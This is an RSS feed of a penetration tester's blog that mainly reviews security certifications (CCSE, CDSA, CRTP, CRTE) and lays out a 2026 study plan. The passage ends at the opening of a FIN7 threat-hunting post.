<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Posts on Fabrice's Blog</title><link>https://blog.redteamshell.com/posts/</link><description>Recent content in Posts on Fabrice's Blog</description><generator>Hugo -- gohugo.io</generator><language>en</language><copyright>&lt;a href="https://creativecommons.org/licenses/by-nc/4.0/" target="_blank" rel="noopener">CC BY-NC 4.0&lt;/a></copyright><lastBuildDate>Sun, 25 Jan 2026 08:17:44 -0500</lastBuildDate><atom:link href="https://blog.redteamshell.com/posts/index.xml" rel="self" type="application/rss+xml"/><item><title>The 2026 Deep Dive</title><link>https://blog.redteamshell.com/posts/2026/01/the-2026-deep-dive/</link><pubDate>Sun, 25 Jan 2026 08:17:44 -0500</pubDate><guid>https://blog.redteamshell.com/posts/2026/01/the-2026-deep-dive/</guid><description>&lt;p>&lt;img src="https://blog.redteamshell.com/images/2026_hero_image.png" alt="Hero Image">&lt;/p>
&lt;h3 id="going-deeper-into-code-review-reverse-engineering-and-web-exploitation">Going Deeper into Code Review, Reverse Engineering, and Web Exploitation&lt;/h3>
&lt;p>New year, new focus. This year I&amp;rsquo;m pushing myself to level up in three specific areas: code review, reverse engineering, and web exploitation. I&amp;rsquo;ve spent enough time doing surface-level testing, now I want to understand what&amp;rsquo;s actually happening under the hood.
I&amp;rsquo;ve already invested in the learning materials to make this happen, so there&amp;rsquo;s no backing out now.&lt;/p></description><content type="html"><![CDATA[<p><img src="/images/2026_hero_image.png" alt="Hero Image"></p>
<h3 id="going-deeper-into-code-review-reverse-engineering-and-web-exploitation">Going Deeper into Code Review, Reverse Engineering, and Web Exploitation</h3>
<p>New year, new focus. This year I&rsquo;m pushing myself to level up in three specific areas: code review, reverse engineering, and web exploitation. I&rsquo;ve spent enough time doing surface-level testing, now I want to understand what&rsquo;s actually happening under the hood.
I&rsquo;ve already invested in the learning materials to make this happen, so there&rsquo;s no backing out now.</p>
<hr>
<h3 id="the-reading-list">The Reading List</h3>
<p>First up is Eugene Lim&rsquo;s &ldquo;From Day Zero to Zero Day.&rdquo; This book covers exactly what I need; code review, reverse engineering, and fuzzing. It&rsquo;s rare to find one resource that hits all three topics I&rsquo;m targeting, so this felt like the perfect starting point.</p>
<p><img src="/images/coverfromdayzero.jpg" alt="FromDayZeroCover"></p>
<hr>
<h3 id="the-course-lineup">The Course Lineup</h3>
<p>I picked up four courses from Cyberwarfare Labs that align with where I want to go:</p>
<p><strong>Certified Windows Internals Red Team Operator (CWI-RTO)</strong> – I&rsquo;m already working through this one. It&rsquo;s teaching me about Windows internals, Win32 and NT APIs (the ones malware loves to abuse), user-mode malware analysis, and kernel data structures using WinDbg. Understanding EPROCESS, ETHREAD, and KPCR has been eye-opening so far.</p>
<p><img src="/images/CWI_RTO.jpg" alt="CWI_RTO"></p>
<hr>
<p><strong>Certified Exploit Development Professional (CEDP)</strong> – This is where I&rsquo;ll get my hands dirty with exploit development. The focus is on stack exploitation techniques, which I&rsquo;ve dabbled in before but never properly mastered.</p>
<p><img src="/images/CEDP_image.png" alt="CEDP"></p>
<hr>
<p><strong>Certified Enterprise Security Controls Attack Specialist (CESC-AS)</strong> – I grabbed this during Black Friday when the price dropped significantly. It covers advanced penetration testing, offensive C# tradecraft, Windows API abuse, and deeper Active Directory attacks. Honestly, the discount made it impossible to pass up.</p>
<p><img src="/images/CESC_image.jpg" alt="CESC_Image"></p>
<hr>
<p><strong>Certified Stealth Cyber Operator (CSCO)</strong> – The final boss. Also a Black Friday purchase. This one is packed: red team infrastructure setup, abusing misconfigured security controls, offensive tradecraft development using C, C++, and C#, and techniques for bypassing endpoint security like AV and EDR. It&rsquo;s ambitious, but that&rsquo;s the point.</p>
<p><img src="/images/CSCO.png" alt="CSCO_Image"></p>
<hr>
<p><strong>Web Exploitation</strong>
To round things out, I&rsquo;m planning to tackle the <strong>HTB Certified Web Exploitation Expert (HTB CWEE)</strong>. This will push my web exploitation skills further with advanced injection attacks, NoSQL injection, XSS and CSRF exploitation, whitebox testing, and more.</p>
<p><img src="/images/CWEE_Banner.jpg" alt="CWEE_Banner"></p>
<hr>
<h3 id="the-reality-check">The Reality Check</h3>
<p>Looking at this list, I know it&rsquo;s a lot. I&rsquo;m not expecting to finish everything in one year, but having a clear roadmap helps. The goal isn&rsquo;t just to collect more certifications, it&rsquo;s to genuinely understand these topics at a deeper level and apply them in real scenarios.</p>
<p>I&rsquo;ll be documenting what I learn along the way, sharing the challenges I hit, and posting walkthroughs when things click. If you&rsquo;re working on similar goals or have advice on any of these topics, I&rsquo;d love to hear from you.</p>
<p>Let&rsquo;s see where 2026 takes us.</p>
]]></content></item><item><title>Certified Cyber Security Engineer [CCSE] Review: Is it Worth it?</title><link>https://blog.redteamshell.com/posts/2025/12/certified-cyber-security-engineer-ccse-review-is-it-worth-it/</link><pubDate>Thu, 04 Dec 2025 17:31:16 -0500</pubDate><guid>https://blog.redteamshell.com/posts/2025/12/certified-cyber-security-engineer-ccse-review-is-it-worth-it/</guid><description>&lt;p>&lt;img src="https://blog.redteamshell.com/images/CCSE_hero.png" alt="CCSE Hero Image">&lt;/p>
&lt;p>I recently completed the Certified Cyber Security Engineer (CCSE) certification from Cyberwarfare Labs, and I wanted to share my experience with anyone considering this certification. Even though I already hold more advanced certifications like the OSCP and HackTheBox CPTS, I found the CCSE to be a valuable addition to my skill set, and here&amp;rsquo;s why.&lt;/p>
&lt;hr>
&lt;h3 id="what-is-the-ccse">What is the CCSE?&lt;/h3>
&lt;p>The Certified Cyber Security Engineer (CCSE) is a comprehensive penetration testing certification offered by Cyberwarfare Labs. What makes it stand out is its broad coverage of modern attack surfaces that many traditional pentesting certifications don&amp;rsquo;t touch. It&amp;rsquo;s designed for beginner to intermediate cybersecurity professionals who want to develop a well-rounded understanding of various technologies and attack vectors they&amp;rsquo;ll encounter as a cybersecurity engineer.&lt;/p></description><content type="html"><![CDATA[<p><img src="/images/CCSE_hero.png" alt="CCSE Hero Image"></p>
<p>I recently completed the Certified Cyber Security Engineer (CCSE) certification from Cyberwarfare Labs, and I wanted to share my experience with anyone considering this certification. Even though I already hold more advanced certifications like the OSCP and HackTheBox CPTS, I found the CCSE to be a valuable addition to my skill set, and here&rsquo;s why.</p>
<hr>
<h3 id="what-is-the-ccse">What is the CCSE?</h3>
<p>The Certified Cyber Security Engineer (CCSE) is a comprehensive penetration testing certification offered by Cyberwarfare Labs. What makes it stand out is its broad coverage of modern attack surfaces that many traditional pentesting certifications don&rsquo;t touch. It&rsquo;s designed for beginner to intermediate cybersecurity professionals who want to develop a well-rounded understanding of various technologies and attack vectors they&rsquo;ll encounter as a cybersecurity engineer.</p>
<hr>
<h3 id="course-content-14-modules-of-comprehensive-coverage">Course Content: 14 Modules of Comprehensive Coverage</h3>
<p>The CCSE breaks down into 14 modules that cover everything from fundamentals to specialized topics:</p>
<p><img src="/images/CCSE_modules.jpg" alt="CCSE Modules"></p>
<p>What really sets this course apart is its coverage of cloud penetration testing, Docker container exploitation, mobile application testing, and Wi-Fi security. These are areas that neither the OSCP nor the CPTS covered when I took them, making the CCSE a valuable complement to those certifications.</p>
<p>While the course doesn&rsquo;t go extremely deep into these specialized topics, it provides enough foundational knowledge to get you started. I think this was intentional, especially since Cyberwarfare Labs offers more advanced certifications focused specifically on cloud penetration testing. For a certification targeting beginner to intermediate professionals, this breadth makes perfect sense, as a cybersecurity engineer, you need exposure to a wide range of technologies.</p>
<hr>
<h3 id="the-learning-experience">The Learning Experience</h3>
<h4 id="lab-environment">Lab Environment</h4>
<p>The lab environment was fantastic. I experienced zero downtime or issues throughout my entire learning period, which is more than I can say for some other certification labs I&rsquo;ve used.</p>
<p><img src="/images/CCSE_labsVM.png" alt="CCSE Lbas VM"></p>
<p>The labs come in two formats:</p>
<p><strong>VM-Based Labs</strong>: These are for modules that require local setup on your own machine, including scripting/programming, OSINT, phishing, exploit development, cloud pentesting, Docker pentesting, mobile pentesting, and Wi-Fi pentesting. The great thing about this approach is that you can experiment freely, break things, and test additional techniques you&rsquo;ve researched without worrying about affecting a shared environment.</p>
<p>My favorite was the Wi-Fi penetration testing module. Wi-Fi testing typically requires specific hardware and setup to put your network interface in monitoring mode and capture packets. Here, you&rsquo;re provided with a complete simulated Wi-Fi environment, so you can follow along with all the lab exercises without needing special equipment. Every lab also comes with a walkthrough, so if you get stuck, you can refer to it for guidance.</p>
<p><img src="/images/CCSE_finalwifi.png" alt="CCSE Wi-Fi"></p>
<p><strong>VPN-Based Labs</strong>: These are deployed on Cyberwarfare Labs&rsquo; infrastructure. You just download your VPN configuration file and connect to work on labs for web application exploitation, network exploitation, and Active Directory pentesting. These labs were really enjoyable, and I appreciated that you can use any tools you&rsquo;re comfortable with, not just the ones covered in the course material.</p>
<h4 id="course-materials">Course Materials</h4>
<p><img src="/images/CCSE_path.jpg" alt="CCSE Path"></p>
<p>The course provides both video content and PDF documents that you can read offline. I genuinely enjoyed all the modules, there was always something new to learn, even with my existing experience. The OSINT and phishing modules were particularly impressive, with the instructor demonstrating some real depth of knowledge in these areas.</p>
<p>The exploit development module also stood out. I enjoyed it so much that I purchased two of their dedicated exploit development courses, which I&rsquo;m already working through. Expect a review of those as well once I complete them.</p>
<hr>
<h3 id="exam-preparation">Exam Preparation</h3>
<p>One of the best aspects of this certification is that you don&rsquo;t need external resources to prepare for the exam. Everything you need to pass is covered in the 14 modules. Don&rsquo;t underestimate the amount of content here, 14 modules with multiple sub-topics each adds up to a substantial amount of material.</p>
<p>My approach was to go through all the videos and PDFs before requesting lab access. I made detailed notes of commands and techniques covered in each module. These notes aren&rsquo;t just helpful for the exam, they&rsquo;re reference material you&rsquo;ll use during real-world engagements and red team assessments, as the techniques taught are based on actual penetration testing methodologies.</p>
<p><img src="/images/CCSE_badgeslabs.png" alt="CCSE Lab Badges"></p>
<hr>
<h3 id="the-exam-experience">The Exam Experience</h3>
<p>The exam is structured like a real-world penetration test: 24 hours to complete the assessment, followed by another 24 hours to write a detailed report of your findings.</p>
<p>The exam lab authentically mimics an enterprise network. You perform both external and internal penetration testing, and you&rsquo;re required to document everything with step-by-step reproduction instructions so the examiner can verify your findings without difficulty.</p>
<p>I started my exam on Saturday, November 29th, at 10:00 AM. By 5:40 PM, I had fully compromised the exam lab, a total of just under 8 hours. This was largely due to my previous experience with certifications like OSCP and CPTS. However, if you&rsquo;re a beginner, don&rsquo;t worry. Everything you need to succeed is covered in the course materials. If you get stuck, take a break and refer back to the study materials.</p>
<p>After finishing the technical portion, I took a short break and then spent 4-5 hours crafting my report. My advice: take lots of screenshots as you progress through the exam, and jot down notes in your favorite note-taking tool. This makes assembling the final report much easier. I submitted a detailed 34-page report and received my passing results four days later, faster than I expected, though they guarantee results within seven days.</p>
<p><img src="/images/CCSE_Cert.png" alt="CCSE Cert"></p>
<hr>
<h3 id="comparison-with-other-certifications">Comparison with Other Certifications</h3>
<p>In terms of exam difficulty, I&rsquo;d place the CCSE between the OSCP and the PNPT.</p>
<p><strong>Content-wise</strong>, the CCSE has a significant advantage over both. The inclusion of cloud pentesting, Docker container exploitation, mobile application testing, and Wi-Fi security topics not covered in the OSCP or PNPT when I took them, makes it particularly valuable for building a broad skill set.</p>
<p><strong>Cost-wise</strong>, the CCSE is extremely affordable. The full price is $199, but they frequently run promotions. I purchased mine during a sale at a lower cost, and during Black Friday, they dropped the price to just $29 for a limited time. For comparison:</p>
<ul>
<li><strong>OSCP</strong>: The Course &amp; Certification Bundle (PEN-200 with 90 days of lab access and one exam attempt) costs around $1,749.</li>
<li><strong>PNPT</strong>: TCM Security&rsquo;s PNPT certification with training costs $499</li>
</ul>
<p>Given these price differences, the CCSE offers incredible value for the content you receive. However, since it doesn&rsquo;t yet have the same industry recognition as the OSCP or PNPT, I&rsquo;d recommend waiting for a discount or special sale to purchase it.</p>
<hr>
<h3 id="final-thoughts">Final Thoughts</h3>
<p>I highly recommend this certification to cybersecurity professionals at any level beginner, intermediate, or even seasoned professionals. There&rsquo;s always something new to learn, especially at this price point. If you&rsquo;re just getting started with penetration testing or want to learn about mobile, Docker, and cloud pentesting without committing to more expensive certifications, the CCSE is an excellent choice.</p>
<p>The combination of comprehensive content, excellent lab infrastructure, and affordable pricing makes the CCSE a valuable certification for anyone looking to broaden their penetration testing skill set. While it may not carry the same weight as an OSCP on a resume, the practical knowledge and diverse attack surface coverage make it well worth the investment especially when purchased during a promotion.</p>
]]></content></item><item><title>CDSA Review</title><link>https://blog.redteamshell.com/posts/2025/11/cdsa-review/</link><pubDate>Sat, 15 Nov 2025 16:13:23 -0500</pubDate><guid>https://blog.redteamshell.com/posts/2025/11/cdsa-review/</guid><description>&lt;p>&lt;img src="https://blog.redteamshell.com/images/CDSA_heroimage.png" alt="Intro Picture">&lt;/p>
&lt;h3 id="a-clear-overview-of-the-cdsa-certification">A Clear Overview of the CDSA Certification&lt;/h3>
&lt;p>In this post, I’ll share my experience with the HTB Certified Defensive Security Analyst (CDSA) certification. Whether you’re new to blue teaming or already familiar with CDSA, there’s something here for everyone.&lt;/p>
&lt;hr>
&lt;h3 id="what-is-the-htb-cdsa">What is the HTB CDSA?&lt;/h3>
&lt;p>&lt;img src="https://blog.redteamshell.com/images/HTB_CDSA.png" alt="HTB CDSA">&lt;/p>
&lt;p>The &lt;strong>Hack The Box Certified Defensive Security Analyst (CDSA)&lt;/strong> is a hands-on blue-team certification focused on real-world SOC operations. It evaluates your ability to monitor, investigate, detect, and respond to threats using enterprise-grade tools and realistic scenarios. The exam is fully practical and is directly based on the HTB Academy &lt;em>SOC Analyst&lt;/em> role path.&lt;/p></description><content type="html"><![CDATA[<p><img src="/images/CDSA_heroimage.png" alt="Intro Picture"></p>
<h3 id="a-clear-overview-of-the-cdsa-certification">A Clear Overview of the CDSA Certification</h3>
<p>In this post, I’ll share my experience with the HTB Certified Defensive Security Analyst (CDSA) certification. Whether you’re new to blue teaming or already familiar with CDSA, there’s something here for everyone.</p>
<hr>
<h3 id="what-is-the-htb-cdsa">What is the HTB CDSA?</h3>
<p><img src="/images/HTB_CDSA.png" alt="HTB CDSA"></p>
<p>The <strong>Hack The Box Certified Defensive Security Analyst (CDSA)</strong> is a hands-on blue-team certification focused on real-world SOC operations. It evaluates your ability to monitor, investigate, detect, and respond to threats using enterprise-grade tools and realistic scenarios. The exam is fully practical and is directly based on the HTB Academy <em>SOC Analyst</em> role path.</p>
<hr>
<h3 id="who-should-pursue-it">Who Should Pursue It?</h3>
<p>The CDSA is ideal for:</p>
<ul>
<li>Future or current <strong>SOC Analysts</strong>, <strong>DFIR analysts</strong>, and <strong>Threat Hunters</strong></li>
<li>Penetration testers or red teamers who want a defender’s perspective</li>
<li>Cybersecurity learners who prefer <em>real labs</em> instead of theory</li>
<li>Anyone who wants real experience with SIEMs, logs, and incident workflows</li>
</ul>
<p>If you want to understand how defenders detect and respond to attacks, this certification is absolutely worth it.</p>
<hr>
<h3 id="knowledge-domains-evaluated">Knowledge Domains Evaluated</h3>
<p><img src="/images/soc-analyst-domain.jpg" alt="Domains"></p>
<p>The CDSA assesses skills across major defensive domains, all of which map directly to real SOC work:</p>
<ul>
<li>SOC Processes &amp; Methodologies</li>
<li>SIEM Operations (ELK / Splunk)</li>
<li>Tactical Analytics</li>
<li>Log Analysis</li>
<li>Threat Hunting</li>
<li>Active Directory Attack Analysis</li>
<li>Network Traffic Analysis (incl. IDS/IPS)</li>
<li>Malware Analysis</li>
<li>DFIR Operations</li>
</ul>
<p>This range makes CDSA highly complementary to offensive knowledge, giving you insight into how attacks are detected and where defenses often fail.</p>
<hr>
<h3 id="the-htb-soc-analyst-path-modules--duration">The HTB SOC Analyst Path (Modules &amp; Duration)</h3>
<p>The SOC Analyst role path contains <strong>15 modules</strong>. Hack The Box estimates <strong>23 days</strong> of work, but realistically it may take longer. It took me around <strong>1.5 months</strong> to complete the entire path thoroughly.</p>
<h3 id="module-list"><strong>Module List</strong></h3>
<ol>
<li>Incident Handling Process</li>
<li>Security Monitoring &amp; SIEM Fundamentals</li>
<li>Windows Event Logs &amp; Finding Evil</li>
<li>Introduction to Threat Hunting &amp; Hunting With Elastic</li>
<li>Understanding Log Sources &amp; Investigating with Splunk</li>
<li>Windows Attacks &amp; Defense</li>
<li>Intro to Network Traffic Analysis</li>
<li>Intermediate Network Traffic Analysis</li>
<li>Working with IDS/IPS</li>
<li>Introduction to Malware Analysis</li>
<li>JavaScript Deobfuscation</li>
<li>YARA &amp; Sigma for SOC Analysts</li>
<li>Introduction to Digital Forensics</li>
<li>Detecting Windows Attacks with Splunk</li>
<li>Security Incident Reporting</li>
</ol>
<p>Completion of the full role path is <strong>mandatory before taking the exam</strong>. Each module combines theory with hands-on labs and real-world scenarios.</p>
<hr>
<h3 id="why-i-decided-to-pursue-a-blue-team-certification">Why I Decided to Pursue a Blue-Team Certification</h3>
<p>Coming from a pentesting/red-team background, I wanted to understand:</p>
<ul>
<li>How defenders detect and respond to the attacks I usually perform</li>
<li>How SIEM and alert triage works at scale</li>
<li>How to write better, more actionable reports</li>
<li>How to identify detection gaps and strengthen defense</li>
<li>The practical side of malware analysis and DFIR</li>
</ul>
<p>CDSA opened up new perspectives especially toward malware analysis and reverse engineering and improved how I approach future offensive engagements.</p>
<hr>
<h3 id="requirements-before-taking-the-exam">Requirements Before Taking the Exam</h3>
<p><img src="/images/CDSA_requirement.jpg" alt="Requirement"></p>
<p>While there are no strict prerequisites, for a smooth experience you should have:</p>
<ul>
<li>Basic Windows &amp; Linux internals knowledge</li>
<li>Comfort with command-line investigation</li>
<li>General understanding of networking</li>
<li>Familiarity with SIEM concepts</li>
<li>Willingness to adopt an analyst mindset (triage → analyze → report)</li>
</ul>
<p>The most important requirement is completing the <strong>SOC Analyst role path</strong>, which the exam is built upon.</p>
<hr>
<h3 id="exam-preparation">Exam Preparation</h3>
<p>Based on my experience, here’s what I highly recommend:</p>
<h3 id="-revisit-all-modules-thoroughly">🔹 Revisit All Modules Thoroughly</h3>
<p>Go through the modules again, including labs and exercises. The exam mirrors the Academy content closely.</p>
<h3 id="-redo-skills-assessments">🔹 Redo Skills Assessments</h3>
<p>Repeating them helps you absorb the workflows and techniques deeply.</p>
<h3 id="-master-the-siem-tools">🔹 Master the SIEM Tools</h3>
<p>Expect to use ELK and Splunk logs just like covered in the modules. Crafting and interpreting queries will be central.</p>
<h3 id="-create-a-query--command-cheat-sheet">🔹 Create a Query &amp; Command Cheat Sheet</h3>
<p>Include:</p>
<ul>
<li>SPL</li>
<li>KQL</li>
<li>Elastic queries</li>
<li>Common forensic commands</li>
<li>YARA &amp; Sigma syntax</li>
</ul>
<h3 id="-review-incident-reporting-multiple-times">🔹 Review Incident Reporting Multiple Times</h3>
<p>Blue-team reporting is detailed and process-driven. If you come from offense, this is a shift. I reviewed this module several times and read the external resources HTB recommended.</p>
<h3 id="-take-many-screenshots">🔹 Take Many Screenshots</h3>
<p>Everything you do in the exam should be:</p>
<ul>
<li>reproducible</li>
<li>documented</li>
<li>supported with screenshots</li>
</ul>
<p>It will save you hours during reporting.</p>
<hr>
<h3 id="exam-experience">Exam Experience</h3>
<p><img src="/images/cdsa_time.png" alt="Reviewer Feedback"></p>
<p>I went all-in on this exam and genuinely had a great time.</p>
<ul>
<li><strong>Start date:</strong> November 3rd</li>
<li><strong>Day 3:</strong> Reached the passing score (80 points)</li>
<li><strong>Day 4:</strong> Hit 95 points (19/20 flags)</li>
<li>One task defeated me, it will haunt me forever (lol)</li>
</ul>
<p><img src="/images/cdsa_score.png" alt="CDSA Score"></p>
<p>Use the HTB Academy search feature, it helped me quickly recall concepts when stuck.</p>
<h3 id="passing-requirements"><strong>Passing Requirements</strong></h3>
<ul>
<li>At least <strong>16/20 flags</strong></li>
<li>A clean, detailed, reproducible report</li>
</ul>
<h3 id="reporting"><strong>Reporting</strong></h3>
<p>I took my time with the report because I wanted everything to be crystal clear. Good screenshots and step-by-step reasoning make the reviewer’s job easier.</p>
<p><img src="/images/cdsa_reviewer.png" alt="Reviewer Feedback"></p>
<h3 id="results"><strong>Results</strong></h3>
<p><img src="/images/cdsa_submission.png" alt="Submission"></p>
<p>I submitted my report on <strong>November 10th</strong>. Even though results are supposed to take up to <strong>20 business days</strong>, I got my result <strong>the next day</strong> 1 business day.Super impressive turnaround.</p>
<p><img src="/images/cdsa_congrats.png" alt="CDSA Congrats"></p>
<hr>
<h3 id="recommendation">Recommendation</h3>
<p>I highly recommend the CDSA to anyone wanting to:</p>
<ul>
<li>Break into blue teaming</li>
<li>Learn SOC analysis the right way</li>
<li>Strengthen detection engineering and threat hunting skills</li>
<li>Gain hands-on DFIR and malware analysis exposure</li>
<li>Improve their offensive thinking through defensive understanding</li>
</ul>
<p>One of my favorite modules was <strong>Introduction to Malware Analysis</strong>, it sparked a genuine interest in Reverse Engineering and malware research, and I hope HTB adds more advanced modules in this area.</p>
<hr>
<h3 id="final-thoughts">Final Thoughts</h3>
<p><img src="/images/CDSA_Cert.png" alt="CDSA Cert"></p>
<p>CDSA is one of the most enjoyable blue-team certifications I’ve done. It sharpened my skills, expanded my defensive mindset, and made me appreciate the amount of work SOC teams handle daily.</p>
<p>Whether you&rsquo;re a defender or an attacker, this certification <strong>will make you better</strong> at your craft.</p>
]]></content></item><item><title>CRTP vs CRTE: Mastering Active Directory</title><link>https://blog.redteamshell.com/posts/2025/09/crtp-vs-crte-mastering-active-directory/</link><pubDate>Sat, 13 Sep 2025 10:23:10 -0400</pubDate><guid>https://blog.redteamshell.com/posts/2025/09/crtp-vs-crte-mastering-active-directory/</guid><description>&lt;p>&lt;img src="https://blog.redteamshell.com/images/CRTPvsCRTE.png" alt="CRTPvsCRTE">&lt;/p>
&lt;p>Two years ago, I embarked on a challenging journey that would fundamentally transform my understanding of Active Directory security and red teaming. Today, I want to share my experience with two exceptional certifications from Altered Security: the Certified Red Team Professional (CRTP) and the Certified Red Team Expert (CRTE).&lt;/p>
&lt;h3 id="why-i-chose-these-certifications">Why I Chose These Certifications&lt;/h3>
&lt;p>As someone looking to build a solid foundation in Active Directory penetration testing, I was drawn to Altered Security&amp;rsquo;s reputation for creating realistic, hands-on environments. Unlike many other certifications that rely heavily on theoretical knowledge or outdated exploitation techniques, both CRTP and CRTE focus on abusing legitimate Active Directory features and functionalities in fully patched environments.&lt;/p></description><content type="html"><![CDATA[<p><img src="/images/CRTPvsCRTE.png" alt="CRTPvsCRTE"></p>
<p>Two years ago, I embarked on a challenging journey that would fundamentally transform my understanding of Active Directory security and red teaming. Today, I want to share my experience with two exceptional certifications from Altered Security: the Certified Red Team Professional (CRTP) and the Certified Red Team Expert (CRTE).</p>
<h3 id="why-i-chose-these-certifications">Why I Chose These Certifications</h3>
<p>As someone looking to build a solid foundation in Active Directory penetration testing, I was drawn to Altered Security&rsquo;s reputation for creating realistic, hands-on environments. Unlike many other certifications that rely heavily on theoretical knowledge or outdated exploitation techniques, both CRTP and CRTE focus on abusing legitimate Active Directory features and functionalities in fully patched environments.</p>
<hr>
<h3 id="crtp-my-first-step-into-active-directory-red-teaming">CRTP: My First Step into Active Directory Red Teaming</h3>
<p><img src="/images/CRTPLabDiagram.png" alt="Lab Diagram"></p>
<h4 id="the-learning-experience">The Learning Experience</h4>
<p>The CRTP served as my introduction to Active Directory security, covering 23 learning objectives across 59 tasks with over 120 hours of content. The course structure was comprehensive, covering everything from basic enumeration to advanced cross-trust attacks:</p>
<ul>
<li>Active Directory Enumeration</li>
<li>Offensive PowerShell and .NET Tradecraft</li>
<li>Local and Domain Privilege Escalation</li>
<li>Lateral Movement Techniques</li>
<li>Domain Persistence and Cross Trust Attacks</li>
<li>Active Directory Certificate Services (AD CS) Abuse</li>
</ul>
<p>The lab environment simulated a fictional financial services company with fully patched Server 2022 machines running Windows Defender, multiple forests and domains, and Server 2016 Forest Functional Level. What impressed me most was the realistic nature of the environment with minimal firewall restrictions allowed for focusing on core concepts rather than dealing with artificial barriers.</p>
<hr>
<h3 id="tools-and-methodology">Tools and Methodology</h3>
<p>The attack methodology followed a logical progression: Reconnaissance → Domain Enumeration → Local Privilege Escalation → Admin Reconnaissance → Lateral Movement → Domain Admin Privileges → Cross Trust Attacks → Persistence and Exfiltration.</p>
<p>I worked with industry-standard tools including:</p>
<ul>
<li><strong>Enumeration</strong>: ActiveDirectory PowerShell Module, BloodHound, PowerView, and SharpView</li>
<li><strong>Privilege Escalation</strong>: PowerUp, PrivescCheck, and WinPEAS</li>
<li><strong>Lateral Movement</strong>: PowerShell Remoting, WinRS, Mimikatz, SafetyKatz, Impacket, and Rubeus</li>
</ul>
<hr>
<h3 id="the-exam-challenge">The Exam Challenge</h3>
<p>The CRTP exam was intense. Starting on October 21st, I spent 16 out of the allocated 24 hours compromising the exam environment. As my first Active Directory certification, the pressure was immense, but the hands-on nature of the challenge made it incredibly engaging.</p>
<p>After completing the technical portion, I had another 24 hours to compile a comprehensive report. My final submission was 50 pages of meticulously detailed step-by-step instructions that would allow examiners to replicate my attacks without issues. I submitted on October 23rd and received my results on October 28th a nerve-wracking wait that ended in success.</p>
<p><img src="/images/CRTP_Blog.png" alt="CRTP Cert"></p>
<p><strong>Credential Link</strong>: <a href="https://www.credential.net/96d809e5-95a3-47b8-bf28-422fb576d35a" target="_blank" rel="noopener noreferrer">Here</a>
</p>
<hr>
<h3 id="crte-taking-it-to-the-next-level">CRTE: Taking It to the Next Level</h3>
<p><img src="/images/CRTELabDiagram.png" alt="Lab Diagram"></p>
<h3 id="advanced-concepts-and-deeper-challenges">Advanced Concepts and Deeper Challenges</h3>
<p>Building on the CRTP foundation, the CRTE pushed me into intermediate and expert-level territory. With 30 learning objectives across 62 tasks and over 300 hours of content, this certification demanded significantly more time and expertise.</p>
<p>The lab environment centered around &ldquo;Techcorp,&rdquo; a fictional critical technology company with segregated Active Directory forests across different departments, locations, and vendors. The environment featured almost fully patched Server 2019 machines with Server 2016 Forest Functional Level, creating a true enterprise-like challenge.</p>
<h3 id="extended-exam-experience">Extended Exam Experience</h3>
<p>The CRTE exam format provided 48 hours for the hands-on portion a welcome change that allowed for more thorough exploration and rest periods. Starting on December 16th, I utilized 32 of the 48 available hours to completely compromise the exam environment.</p>
<p>The extended timeframe proved crucial for implementing various advanced techniques and exploring different attack vectors. After another 48-hour reporting period, I submitted my 50-page report on December 20th and received confirmation of success on December 23rd.</p>
<p><img src="/images/CRTE_Blog.png" alt="CRTE Cert"></p>
<p><strong>Credential Link</strong>: <a href="https://www.credential.net/7fd5cbed-9bb2-4160-a68d-a30efc857c21" target="_blank" rel="noopener noreferrer">Here</a>
</p>
<hr>
<h3 id="the-real-world-impact">The Real-World Impact</h3>
<h3 id="practical-applications">Practical Applications</h3>
<p>The knowledge gained from both certifications proved invaluable in subsequent challenges. When I later pursued the OSCP, the Active Directory components became trivial thanks to the solid foundation these courses provided. Similarly, completing HackTheBox&rsquo;s Offshore Pro Lab was significantly easier due to the advanced techniques learned through CRTE.</p>
<h3 id="career-benefits">Career Benefits</h3>
<p>Both certifications have established themselves as industry-recognized credentials. CRTP, in particular, has become a prerequisite for numerous job postings and is recognized by various industrial bodies and governments globally. The hands-on nature of both certifications demonstrates practical competency rather than just theoretical knowledge.</p>
<hr>
<h3 id="key-takeaways-and-recommendations">Key Takeaways and Recommendations</h3>
<h3 id="what-sets-these-apart">What Sets These Apart</h3>
<ol>
<li><strong>Realistic Environments</strong>: Both labs simulate actual enterprise environments with proper patching and security controls</li>
<li><strong>Feature Abuse Focus</strong>: Instead of relying on patchable exploits, these courses teach how to abuse legitimate AD functionality</li>
<li><strong>Comprehensive Support</strong>: Lab manuals, video walkthroughs, and detailed documentation provide excellent learning support</li>
<li><strong>Progressive Difficulty</strong>: CRTP builds the foundation while CRTE advances to expert-level concepts</li>
</ol>
<h3 id="who-should-consider-these-certifications">Who Should Consider These Certifications</h3>
<ul>
<li><strong>Beginners</strong> looking for a solid introduction to Active Directory security (start with CRTP)</li>
<li><strong>Intermediate professionals</strong> wanting to advance their red teaming skills (CRTE)</li>
<li><strong>Anyone</strong> preparing for other certifications like OSCP or OSEP</li>
<li><strong>Security professionals</strong> working in environments with complex Active Directory implementations</li>
</ul>
<hr>
<h3 id="final-thoughts">Final Thoughts</h3>
<p>Looking back two years later, I can confidently say that the CRTP and CRTE certifications were transformative experiences that significantly elevated my Active Directory security expertise. The hands-on methodology, realistic environments, and focus on feature abuse rather than exploit development provided practical skills that continue to serve me well in real-world engagements.</p>
<p>If you&rsquo;re considering advancing your Active Directory red teaming skills, I highly recommend both certifications. The investment in time and effort pays dividends in practical knowledge and career advancement opportunities. The assume breach methodology and internal adversary perspective these courses provide are invaluable for understanding how modern Active Directory environments can be compromised and secured.</p>
<p>The journey was challenging, time-consuming, and occasionally frustrating, but ultimately rewarding. Two years later, the techniques and methodologies I learned continue to be relevant and applicable in today&rsquo;s evolving threat landscape.</p>
]]></content></item><item><title>Threat Hunting: FIN7 - Post Compromise Execution</title><link>https://blog.redteamshell.com/posts/2025/09/threat-hunting-fin7-post-compromise-execution/</link><pubDate>Sun, 07 Sep 2025 13:59:10 -0400</pubDate><guid>https://blog.redteamshell.com/posts/2025/09/threat-hunting-fin7-post-compromise-execution/</guid><description>&lt;p>&lt;img src="https://blog.redteamshell.com/images/FIN7_Blog_post2.png" alt="FIN7 - Post Compromise Execution">&lt;/p>
&lt;h3 id="introduction">Introduction&lt;/h3>
&lt;p>In Part 2, we pivot from initial access to what happened next. Using Windows event logs and PowerShell Operational logs in Splunk, we reconstructed FIN7’s execution chain after persistence via a scheduled task, validated key artifacts, and built practical detections you can run.&lt;/p>
&lt;h3 id="what-we-investigated">What we investigated&lt;/h3>
&lt;ul>
&lt;li>Scheduled Task execution timing and payload&lt;/li>
&lt;li>Process tree spawned by the persisted loader&lt;/li>
